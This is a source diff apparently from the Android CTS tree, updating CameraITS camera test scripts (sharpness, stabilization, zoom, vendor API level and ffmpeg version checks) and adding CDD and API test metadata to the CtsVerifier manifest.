--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -27,7 +27,7 @@
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
   """Test jpeg capture latency for S performance class as specified in CDD.
 
-  [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+  [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
   resolution as measured by the CTS camera PerformanceTest under ITS lighting
   conditions (3000K) for both primary cameras.
   """
diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
index c6a3bcb..c1b63c7 100644
--- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
@@ -67,17 +67,17 @@
   for n in range(NUM_SAMPLES):
     cap = cam.do_capture(req, out_surface, repeat_request=req)
     y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
-    chart.img = image_processing_utils.normalize_img(
-        image_processing_utils.get_image_patch(
-            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    chart.img = image_processing_utils.get_image_patch(
+        y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
     if n == 0:
       image_processing_utils.write_image(
           chart.img, '%s_edge=%d.jpg' % (
               os.path.join(log_path, NAME), edge_mode))
       edge_mode_res = cap['metadata']['android.edge.mode']
     sharpness_list.append(
-        image_processing_utils.compute_image_sharpness(chart.img))
-
+        image_processing_utils.compute_image_sharpness(chart.img)*255)
+  logging.debug('edge mode: %d, sharpness values: %s',
+                edge_mode_res, sharpness_list)
   return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
 
 
@@ -89,7 +89,6 @@
   """
 
   def test_edge_enhancement(self):
-    logging.debug('Starting %s', NAME)
     with its_session_utils.ItsSession(
         device_id=self.dut.serial,
         camera_id=self.camera_id,
diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
index c5e9b19..d67ebe4 100644
--- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
@@ -107,16 +107,15 @@
   caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
   for n in range(NUM_SAMPLES):
     y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n])
-    chart.img = image_processing_utils.normalize_img(
-        image_processing_utils.get_image_patch(
-            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    chart.img = image_processing_utils.get_image_patch(
+        y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
     if n == 0:
       image_processing_utils.write_image(
           chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % (
               os.path.join(log_path, NAME), reprocess_format, edge_mode))
       edge_mode_res = caps[n]['metadata']['android.edge.mode']
     sharpness_list.append(
-        image_processing_utils.compute_image_sharpness(chart.img))
+        image_processing_utils.compute_image_sharpness(chart.img)*255)
   logging.debug('Sharpness list for edge mode %d: %s',
                 edge_mode, str(sharpness_list))
   return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
@@ -134,7 +133,6 @@
   """
 
   def test_reprocess_edge_enhancement(self):
-    logging.debug('Starting %s', NAME)
     logging.debug('Edge modes: %s', str(EDGE_MODES))
     with its_session_utils.ItsSession(
         device_id=self.dut.serial,
@@ -179,9 +177,10 @@
 
       # Initialize plot
       pylab.figure('reprocess_result')
-      pylab.title(NAME)
-      pylab.xlabel('Edge Enhance Mode')
-      pylab.ylabel('Sharpness')
+      pylab.suptitle(NAME)
+      pylab.title(str(EDGE_MODES))
+      pylab.xlabel('Edge Enhancement Mode')
+      pylab.ylabel('Image Sharpness')
       pylab.xticks(EDGE_MODES_VALUES)
 
       # Get the sharpness for each edge mode for regular requests
@@ -244,6 +243,7 @@
         logging.debug('Check reprocess format: %s', reprocess_format)
         check_edge_modes(sharpnesses_reprocess[reprocess_format])
 
+        # Check reprocessing doesn't make everyting worse
         hq_div_off_reprocess = (
             sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] /
             sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']])
@@ -251,11 +251,10 @@
             sharpness_regular[EDGE_MODES['HQ']] /
             sharpness_regular[EDGE_MODES['OFF']])
         logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF')
-        if not math.isclose(hq_div_off_reprocess, hq_div_off_regular,
-                            rel_tol=SHARPNESS_RTOL):
-          raise AssertionError(f'HQ/OFF_reprocess: {hq_div_off_reprocess:.4f}, '
-                               f'HQ/OFF_reg: {hq_div_off_regular:.4f}, '
-                               f'RTOL: {SHARPNESS_RTOL}')
+        if hq_div_off_reprocess < hq_div_off_regular*(1-SHARPNESS_RTOL):
+          raise AssertionError(
+              f'HQ/OFF_{reprocess_format}: {hq_div_off_reprocess:.4f}, '
+              f'HQ/OFF_reg: {hq_div_off_regular:.4f}, RTOL: {SHARPNESS_RTOL}')
 
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
index 1f5b7c0..4140ea7 100644
--- a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
+++ b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
@@ -35,9 +35,9 @@
 _ROUNDESS_DELTA_THRESHOLD = 0.05
 
 _MAX_CENTER_THRESHOLD_PERCENT = 0.075
-_MAX_DIMENSION_SIZE = (1920, 1440)  # max mandatory preview stream resolution
+_MAX_AREA = 1920 * 1440  # max mandatory preview stream resolution
 _MIN_CENTER_THRESHOLD_PERCENT = 0.02
-_MIN_DIMENSION_SIZE = (176, 144)  # assume QCIF to be min preview size
+_MIN_AREA = 176 * 144  # assume QCIF to be min preview size
 
 
 def _collect_data(cam, video_size, stabilize):
@@ -93,23 +93,19 @@
     threshold value ratio between which the circle centers can differ
   """
 
-  max_diagonal = _point_distance(0, 0,
-                                 _MAX_DIMENSION_SIZE[0], _MAX_DIMENSION_SIZE[1])
-  min_diagonal = _point_distance(0, 0,
-                                 _MIN_DIMENSION_SIZE[0], _MIN_DIMENSION_SIZE[1])
+  img_area = image_size[0] * image_size[1]
 
-  img_diagonal = _point_distance(0, 0, image_size[0], image_size[1])
+  normalized_area = ((img_area - _MIN_AREA) /
+                         (_MAX_AREA - _MIN_AREA))
 
-  normalized_diagonal = ((img_diagonal - min_diagonal) /
-                         (max_diagonal - min_diagonal))
-
-  if normalized_diagonal > 1 or normalized_diagonal < 0:
-    raise AssertionError(f'normalized diagonal > 1 or < 0!'
-                         f' img_diag: {img_diagonal}, '
-                         f' normalized_diagonal: {normalized_diagonal}')
+  if normalized_area > 1 or normalized_area < 0:
+    raise AssertionError(f'normalized area > 1 or < 0! '
+                         f'image_size[0]: {image_size[0]}, '
+                         f'image_size[1]: {image_size[1]}, '
+                         f'normalized_area: {normalized_area}')
 
   # Threshold should be larger for images with smaller resolution
-  normalized_threshold_percent = ((1 - normalized_diagonal) *
+  normalized_threshold_percent = ((1 - normalized_area) *
                                   (_MAX_CENTER_THRESHOLD_PERCENT -
                                    _MIN_CENTER_THRESHOLD_PERCENT))
 
@@ -144,7 +140,7 @@
 
       # Load scene.
       its_session_utils.load_scene(cam, props, self.scene,
-                                   self.tablet, chart_distance=0)
+                                   self.tablet, self.chart_distance)
 
       # Check skip condition
       first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
@@ -153,6 +149,10 @@
           'First API level should be {} or higher. Found {}.'.format(
               its_session_utils.ANDROID13_API_LEVEL, first_api_level))
 
+      # Get ffmpeg version being used.
+      ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+      logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
       supported_stabilization_modes = props[
           'android.control.availableVideoStabilizationModes'
       ]
@@ -253,7 +253,8 @@
                              f'{_ROUNDESS_DELTA_THRESHOLD}, '
                              f'actual ratio difference: {roundness_diff}. ')
 
-        # Distance between centers
+        # Distance between centers, x_offset and y_offset are relative to the
+        # radius of the circle, so they're normalized. Not pixel values.
         unstab_center = (ustab_circle['x_offset'], ustab_circle['y_offset'])
         logging.debug('unstabilized center: %s', unstab_center)
         stab_center = (stab_circle['x_offset'], stab_circle['y_offset'])
diff --git a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
index 6eaca19..bf37f0e 100644
--- a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
@@ -137,13 +137,13 @@
       logging.debug('physical available focal lengths: %s', str(fls_physical))
 
       # Check SKIP conditions.
-      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
       camera_properties_utils.skip_unless(
-          first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+          vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
 
       # Load scene.
       its_session_utils.load_scene(cam, props, self.scene,
-                                   self.tablet, chart_distance=0)
+                                   self.tablet, self.chart_distance)
 
       # Determine camera capabilities.
       supported_video_qualities = cam.get_supported_video_qualities(
@@ -152,6 +152,8 @@
       full_or_better = camera_properties_utils.full_or_better(props)
       raw_avlb = camera_properties_utils.raw16(props)
 
+      # Converge 3A.
+      cam.do_3a()
       req = capture_request_utils.auto_capture_request()
       ref_img_name_stem = f'{os.path.join(self.log_path, _NAME)}'
 
@@ -166,6 +168,10 @@
 
       run_crop_test = full_or_better and raw_avlb
 
+      # Get ffmpeg version being used.
+      ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+      logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
       for quality_profile_id_pair in supported_video_qualities:
         quality = quality_profile_id_pair.split(':')[0]
         profile_id = quality_profile_id_pair.split(':')[-1]
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index ae1f315..c1e50bd 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -146,6 +146,7 @@
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
       log_path = self.log_path
+      debug_mode = self.debug_mode
 
       # Check SKIP conditions.
       camera_properties_utils.skip_unless(
@@ -163,7 +164,16 @@
       req = capture_request_utils.auto_capture_request()
       w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
       out_surface = {'format': 'yuv', 'width': w, 'height': h}
-      cap = cam.do_capture(req, out_surface)
+      if debug_mode:
+        out_surfaces = [{'format': 'raw'}, out_surface]
+        cap_raw, cap = cam.do_capture(req, out_surfaces)
+        img_raw = image_processing_utils.convert_capture_to_rgb_image(
+            cap_raw, props=props)
+        image_processing_utils.write_image(img_raw, '%s_raw.png' % (
+            os.path.join(log_path, _NAME)), True)
+        logging.debug('Captured RAW %dx%d', img_raw.shape[1], img_raw.shape[0])
+      else:
+        cap = cam.do_capture(req, out_surface)
       logging.debug('Captured YUV %dx%d', w, h)
       # Get Y channel
       img_y = image_processing_utils.convert_capture_to_planes(cap)[0]
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index d4fa21c..32b9927 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -78,10 +78,6 @@
   test_tols = {}
   test_yuv_sizes = []
   for i in physical_ids:
-    min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
-    focal_l = physical_props[i]['android.lens.info.availableFocalLengths'][0]
-    logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f',
-                  i, min_fd, focal_l)
     yuv_sizes = capture_request_utils.get_available_output_sizes(
         'yuv', physical_props[i])
     test_yuv_sizes.append(yuv_sizes)
@@ -89,13 +85,16 @@
       logging.debug('cam[%s] yuv sizes: %s', i, str(yuv_sizes))
 
     # determine if minimum focus distance is less than rig depth
-    if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or  # fixed focus
-        1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL):
-      test_tols[focal_l] = (RADIUS_RTOL, OFFSET_RTOL)
-    else:
-      test_tols[focal_l] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
-      logging.debug('loosening RTOL for cam[%s]: '
-                    'min focus distance too large.', i)
+    min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
+    for fl in physical_props[i]['android.lens.info.availableFocalLengths']:
+      logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f', i, min_fd, fl)
+      if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or  # fixed focus
+          (1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL)):
+        test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
+      else:
+        test_tols[fl] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
+        logging.debug('loosening RTOL for cam[%s]: '
+                      'min focus distance too large.', i)
   # find intersection of formats for max common format
   common_sizes = list(set.intersection(*[set(list) for list in test_yuv_sizes]))
   if debug:
@@ -235,8 +234,10 @@
         test_tols, size = get_test_tols_and_cap_size(
             cam, props, self.chart_distance, debug)
       else:
-        fl = props['android.lens.info.availableFocalLengths'][0]
-        test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)}
+        test_tols = {}
+        fls = props['android.lens.info.availableFocalLengths']
+        for fl in fls:
+          test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
         yuv_size = capture_request_utils.get_largest_yuv_format(props)
         size = [yuv_size['width'], yuv_size['height']]
       logging.debug('capture size: %s', str(size))
diff --git a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
index c6b852c..d90960b 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
@@ -128,6 +128,10 @@
           'Preview Stabilization not supported',
       )
 
+      # Get ffmpeg version being used.
+      ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+      logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
       # Raise error if not FRONT or REAR facing camera
       facing = props['android.lens.facing']
       if (facing != camera_properties_utils.LENS_FACING_BACK
@@ -142,7 +146,9 @@
 
       # List of video resolutions to test
       supported_preview_sizes = cam.get_supported_preview_sizes(self.camera_id)
-      supported_preview_sizes.remove(video_processing_utils.QCIF_SIZE)
+      for size in video_processing_utils.LOW_RESOLUTION_SIZES:
+        if size in supported_preview_sizes:
+          supported_preview_sizes.remove(size)
       logging.debug('Supported preview resolutions: %s',
                     supported_preview_sizes)
 
diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
index 0be38b5..d09ee5f 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
@@ -129,7 +129,7 @@
   in gyroscope movement. Test is a PASS if rotation is reduced in video.
   """
 
-  def test_video_stability(self):
+  def test_video_stabilization(self):
     rot_rig = {}
     log_path = self.log_path
 
@@ -139,14 +139,18 @@
         hidden_physical_id=self.hidden_physical_id) as cam:
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
-      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
       supported_stabilization_modes = props[
           'android.control.availableVideoStabilizationModes']
 
       camera_properties_utils.skip_unless(
-          first_api_level >= its_session_utils.ANDROID13_API_LEVEL and
+          vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL and
           _VIDEO_STABILIZATION_MODE in supported_stabilization_modes)
 
+      # Get ffmpeg version being used.
+      ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+      logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
       # Raise error if not FRONT or REAR facing camera
       facing = props['android.lens.facing']
       if (facing != camera_properties_utils.LENS_FACING_FRONT and
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 3ecc8df..dae63c3 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -240,7 +240,7 @@
       img_name = os.path.join(out_path, f'test_{scene}.jpg')
       logging.info('Please check scene setup in %s', img_name)
       image_processing_utils.write_image(img, img_name)
-      choice = input('Is the image okay for ITS {scene}? (Y/N)').lower()
+      choice = input(f'Is the image okay for ITS {scene}? (Y/N)').lower()
       if choice == 'y':
         break
 
@@ -518,13 +518,13 @@
         # Handle repeated test
         if 'tests/' in test:
           cmd = [
-              'python',
+              'python3',
               os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c',
               '%s' % new_yml_file_name
           ]
         else:
           cmd = [
-              'python',
+              'python3',
               os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test),
               '-c',
               '%s' % new_yml_file_name
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4a6cbf9..c2065ba 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -616,6 +616,122 @@
       raise error_util.CameraItsError('No supported preview sizes')
     return data['strValue'].split(';')
 
+  def do_capture_with_flash(self,
+                            preview_request_start,
+                            preview_request_idle,
+                            still_capture_req,
+                            out_surface):
+    """Issue capture request with flash and read back the image and metadata.
+
+    Captures a single image with still_capture_req as capture request
+    with flash. It triggers the precapture sequence with preview request
+    preview_request_start with capture intent preview by setting aePrecapture
+    trigger to Start. This is followed by repeated preview requests
+    preview_request_idle with aePrecaptureTrigger set to IDLE.
+    Once the AE is converged, a single image is captured still_capture_req
+    during which the flash must be fired.
+    Note: The part where we read output data from socket is cloned from
+    do_capture and will be consolidated in U.
+
+    Args:
+      preview_request_start: Preview request with aePrecaptureTrigger set to
+        Start
+      preview_request_idle: Preview request with aePrecaptureTrigger set to Idle
+      still_capture_req: Single still capture request.
+      out_surface: Specifications of the output image formats and
+        sizes to use for capture.
+    Returns:
+      An object which contains following fields:
+      * data: the image data as a numpy array of bytes.
+      * width: the width of the captured image.
+      * height: the height of the captured image.
+      * format: image format
+      * metadata: the capture result object
+    """
+    cmd = {}
+    cmd['cmdName'] = 'doCaptureWithFlash'
+    cmd['previewRequestStart'] = [preview_request_start]
+    cmd['previewRequestIdle'] = [preview_request_idle]
+    cmd['stillCaptureRequest'] = [still_capture_req]
+    cmd['outputSurfaces'] = [out_surface]
+
+    cam_ids = self._camera_id
+    self.sock.settimeout(self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT)
+    logging.debug('Capturing image with ON_AUTO_FLASH.')
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    bufs = {}
+    bufs[self._camera_id] = {'jpeg': []}
+    formats = ['jpeg']
+    rets = []
+    nbufs = 0
+    mds = []
+    physical_mds = []
+    widths = None
+    heights = None
+    ncap = 1
+    capture_results_returned = False
+    yuv_bufs = {}
+    while not capture_results_returned:
+      json_obj, buf = self.__read_response_from_socket()
+      if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None:
+        fmt = json_obj['tag'][:-5]
+        bufs[self._camera_id][fmt].append(buf)
+        nbufs += 1
+      elif json_obj['tag'] == 'captureResults':
+        capture_results_returned = True
+        mds.append(json_obj['objValue']['captureResult'])
+        physical_mds.append(json_obj['objValue']['physicalResults'])
+        outputs = json_obj['objValue']['outputs']
+        widths = [out['width'] for out in outputs]
+        heights = [out['height'] for out in outputs]
+      else:
+        tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode(
+            'ascii', 'ignore')
+        for x in ItsSession.IMAGE_FORMAT_LIST_2:
+          x = bytes(x, encoding='utf-8')
+          if tag_string.startswith(x):
+            if x == b'yuvImage':
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                buf_size = numpy.product(buf.shape)
+                yuv_bufs[physical_id][buf_size].append(buf)
+                nbufs += 1
+            else:
+              physical_id = json_obj['tag'][len(x):]
+              if physical_id in cam_ids:
+                fmt = x[:-5].decode('UTF-8')
+                bufs[physical_id][fmt].append(buf)
+                nbufs += 1
+    rets = []
+    for j, fmt in enumerate(formats):
+      objs = []
+      if 'physicalCamera' in cmd['outputSurfaces'][j]:
+        cam_id = cmd['outputSurfaces'][j]['physicalCamera']
+      else:
+        cam_id = self._camera_id
+      for i in range(ncap):
+        obj = {}
+        obj['width'] = widths[j]
+        obj['height'] = heights[j]
+        obj['format'] = fmt
+        if cam_id == self._camera_id:
+          obj['metadata'] = mds[i]
+        else:
+          for physical_md in physical_mds[i]:
+            if cam_id in physical_md:
+              obj['metadata'] = physical_md[cam_id]
+              break
+        obj['data'] = bufs[cam_id][fmt][i]
+        objs.append(obj)
+      rets.append(objs if ncap > 1 else objs[0])
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+    if len(rets) > 1 or (isinstance(rets[0], dict) and
+                         isinstance(still_capture_req, list)):
+      return rets
+    else:
+      return rets[0]
+
   def do_capture(self,
                  cap_request,
                  out_surfaces=None,
@@ -1496,6 +1612,18 @@
   return first_api_level
 
 
+def get_vendor_api_level(device_id):
+  """Return the int value for the vendor API level of the device."""
+  cmd = 'adb -s %s shell getprop ro.vendor.api_level' % device_id
+  try:
+    vendor_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+    logging.debug('First vendor API level: %d', vendor_api_level)
+  except (subprocess.CalledProcessError, ValueError):
+    logging.error('No vendor_api_level. Setting to build version.')
+    vendor_api_level = get_build_sdk_version(device_id)
+  return vendor_api_level
+
+
 class ItsSessionUtilsTests(unittest.TestCase):
   """Run a suite of unit tests on this module."""
 
diff --git a/apps/CameraITS/utils/video_processing_utils.py b/apps/CameraITS/utils/video_processing_utils.py
index 98d930b..432e7c3 100644
--- a/apps/CameraITS/utils/video_processing_utils.py
+++ b/apps/CameraITS/utils/video_processing_utils.py
@@ -19,6 +19,7 @@
 import logging
 import os.path
 import subprocess
+import error_util
 
 
 ITS_SUPPORTED_QUALITIES = (
@@ -33,7 +34,23 @@
     'LOW',
     'VGA'
 )
-QCIF_SIZE = '176x144'
+
+LOW_RESOLUTION_SIZES = (
+    '176x144',
+    '192x144',
+)
+
+
+def get_ffmpeg_version():
+  """Returns the ffmpeg version being used."""
+
+  ffmpeg_version_cmd = ('ffmpeg -version')
+  p = subprocess.Popen(ffmpeg_version_cmd, shell=True, stdout=subprocess.PIPE)
+  output, _ = p.communicate()
+  if p.poll() != 0:
+    raise error_util.CameraItsError('Error running ffmpeg version cmd.')
+  decoded_output = output.decode('utf-8')
+  return decoded_output.split(' ')[2]
 
 
 def extract_key_frames_from_video(log_path, video_file_name):
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 9b2c16a..024e038 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -91,6 +91,7 @@
         "CtsForceStopHelper-constants",
         "ctsmediautil",
         "DpmWrapper",
+        "MediaPerformanceClassCommon",
     ],
 
     libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car-test-stubs"] + ["voip-common"] + ["truth-prebuilt"],
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 344836d..b2513e9 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -248,6 +248,7 @@
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
+            <meta-data android:name="CddTest" android:value="3.8.17/C-1-1,C-2-1" />
             <meta-data android:name="test_category" android:value="@string/test_category_features" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
@@ -2052,6 +2053,9 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="7.4.5.2" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
         </activity>
 
         <activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -2068,6 +2072,8 @@
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
         </activity>
 
         <activity android:name=".nfc.NfcTestActivity"
@@ -2827,6 +2833,16 @@
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.hardware.Camera#getNumberOfCameras|
+                               android.hardware.Camera#open|
+                               android.hardware.Camera#startPreview|
+                               android.hardware.Camera#stopPreview|
+                               android.hardware.Camera#takePicture|
+                               android.hardware.Camera#setParameters|
+                               android.hardware.Camera#setDisplayOrientation|
+                               android.hardware.Camera.Parameters#setHorizontalViewAngle|
+                               android.hardware.Camera.Parameters#setVerticalViewAngle" />
         </activity>
         <activity
             android:name=".camera.fov.DetermineFovActivity"
@@ -2836,6 +2852,11 @@
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.media.ExifInterface#TAG_ORIENTATION|
+                               android.media.ExifInterface#ORIENTATION_ROTATE_90|
+                               android.media.ExifInterface#ORIENTATION_ROTATE_180|
+                               android.media.ExifInterface#ORIENTATION_ROTATE_270" />
         </activity>
         <activity
             android:name=".camera.fov.CalibrationPreferenceActivity"
@@ -2861,6 +2882,32 @@
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.hardware.Camera#getParameters|
+                               android.hardware.Camera#lock|
+                               android.hardware.Camera#setDisplayOrientation|
+                               android.hardware.Camera#setPreviewCallback|
+                               android.hardware.Camera#setParameters|
+                               android.hardware.Camera#setPreviewTexture|
+                               android.hardware.Camera#startPreview|
+                               android.hardware.Camera#stopPreview|
+                               android.hardware.Camera#unlock|
+                               android.media.MediaRecorder#prepare|
+                               android.media.MediaRecorder#release|
+                               android.media.MediaRecorder#reset|
+                               android.media.MediaRecorder#setAudioEncoder|
+                               android.media.MediaRecorder#setAudioSource|
+                               android.media.MediaRecorder#setCamera|
+                               android.media.MediaRecorder#setOnErrorListener|
+                               android.media.MediaRecorder#setOutputFormat|
+                               android.media.MediaRecorder#setOutputFile|
+                               android.media.MediaRecorder#setProfile|
+                               android.media.MediaRecorder#setVideoEncoder|
+                               android.media.MediaRecorder#setVideoEncodingBitRate|
+                               android.media.MediaRecorder#setVideoSize|
+                               android.media.MediaRecorder#setVideoSource|
+                               android.media.MediaRecorder#start|
+                               android.media.MediaRecorder#stop" />
         </activity>
 
         <activity android:name=".camera.its.ItsTestActivity"
@@ -3106,6 +3153,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="2.2.3/3.8.3/H-0-1|3.8.3.1/C-1-5|3.8.3.1/C-3-1|3.8.3.1/C-3-2|3.8.3.2/C-0-1|3.8.3.2/C-0-2|3.8.3.2/C-1-1" />
         </activity>
 
         <activity android:name=".notifications.NotificationPrivacyVerifierActivity"
@@ -3120,6 +3168,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive" />
             <meta-data android:name="display_mode" android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.8.3.1/C-1-4|2.2.3/3.8.10/H-1-1" />
         </activity>
 
         <activity android:name=".notifications.ShowWhenLockedActivity"
@@ -3170,6 +3219,7 @@
                        android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.8.3.3/C-1-1" />
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -3184,6 +3234,7 @@
                     android:value="android.hardware.type.watch:android.software.leanback" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="2.2.3/3.8.4/H-1-1|3.8.3.3/C-1-1|3.8.3.3/C-1-3" />
         </activity>
 
         <activity android:name=".notifications.ToastVerifierActivity"
@@ -3196,6 +3247,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
